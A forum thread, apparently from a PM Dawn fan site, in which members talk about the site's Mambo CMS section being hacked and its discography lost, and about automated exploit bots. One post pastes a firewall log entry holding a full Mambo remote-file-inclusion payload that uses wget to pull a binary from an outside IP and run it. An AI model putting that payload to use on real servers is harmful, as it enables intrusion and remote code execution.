Blew up mambo...I restored some stuff...the discography was completely destroyed...I doubt I'll ever put the time into replacing it -- site was due for a makeover anyway.
what the fuck is wrong with people.
Blew up mambo...I restored some stuff...the discography was completely destroyed...I doubt I'll ever put the time into replacing it -- site was due for a makeover anyway.
what the fuck is wrong with people.
I'm not signing this without my lawyer.
stupid..absolutely stupid
i was just on there last night and it was fine, when did this happen?
Wow. People must be really bored.
“Sometimes we just need someone to show us something we can’t see for ourselves.”
it's not that he attacked the pmdawn.net site because of what it was, it's just that it was vulnerable.
you do a sequential IP sweep, along with a port scan sweep, and if stuff hasn't been patched... well, they feel it's open game to deface it.
Who claimed credit brian? (They usually leave their tag around for everyone to see)
there we go, just right. keep walking...
http://www.carhifi-forum.de/modules/eBoard/shadow.htm
Bastard hacked over 200 sites TODAY...3000 this month...
I'm not signing this without my lawyer.
Originally Posted by Brian221
This stuff is usually automated now, the bots run a google search for a string matching the exploitable site, they then go out and hit the site with a generic string of code that usually does a database injection of html code, and reports back with a list of hacked sites for that run. It’s insane, the firewalls pickup about 10-20 exploit attempts to my servers daily.
“hacking” has become so brainless and automated that it’s not even cool anymore when someone says they “hacked” a site.
I noticed it around midnight (and messaged Brian). That sucks!Originally Posted by xtristessax
Was it just the Mambo stuff? I noticed that the opening page was fine, but anything under Mambo was hosed. Was it some vulnerability in Mambo?
Is all of the data gone? How about the samples?
Peace
Yes, only mambo was affected -- and the data is mostly gone (at least the discography stuff is) - but all the samples are physical mp3s, so they weren't affected.
Think that pissed me off the most is that I put about 30 hours into the discography...gone.
I'm not signing this without my lawyer.
Yeah, I went through a solid month of assholes hacking my site through our cubecart software in January. Not fun!
Alright
Tap the lightpole and we'll be jammin all night
And ain't nobody callin' the cops
'Cause everybody's here freakin', if they're older they're doin the rock
And every block from all around
Comes runnin' to the park when they hear the sound
And soon the word's spreadin' through our part of town
"Yo, 40 Park y'all, Jam-On's gettin down"
Yeah...
Jam-On Productions:Website Forum
Dang......what to do.
got this off one of my firewalls from yesterday, is the mambo exploit trying to reach one of my servers...several of them with various strings were looking in directories named "mambo", "cvs/mambo", and "articles/mambo".
index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://204.83.56.144/cmd.gif?&cmd=cd%20/tmp;wget%20204.83.56.144/gicupo;chmod%20744%20gicupo;./gicupo;echo%20YYY;echo| HTTP/1.1
some of those commands are *nix only, probably a different string for the windows exploit.
Aww you gotta be an ass to hack a PM DAWN site. It's like picking on the nicest kid in school.
That sux. Now I have to check my other sites. Bastards.
I love the summer months!
brian u tried archive.org ing the discography
I've got amnesia.. I can't remember..
Unfortunately, it wouldn't do me much good -- I would be able to see the pages at archive.org, but wouldn't be able to extract it into my database -- its going to need to be manually created again.
I'm not signing this without my lawyer.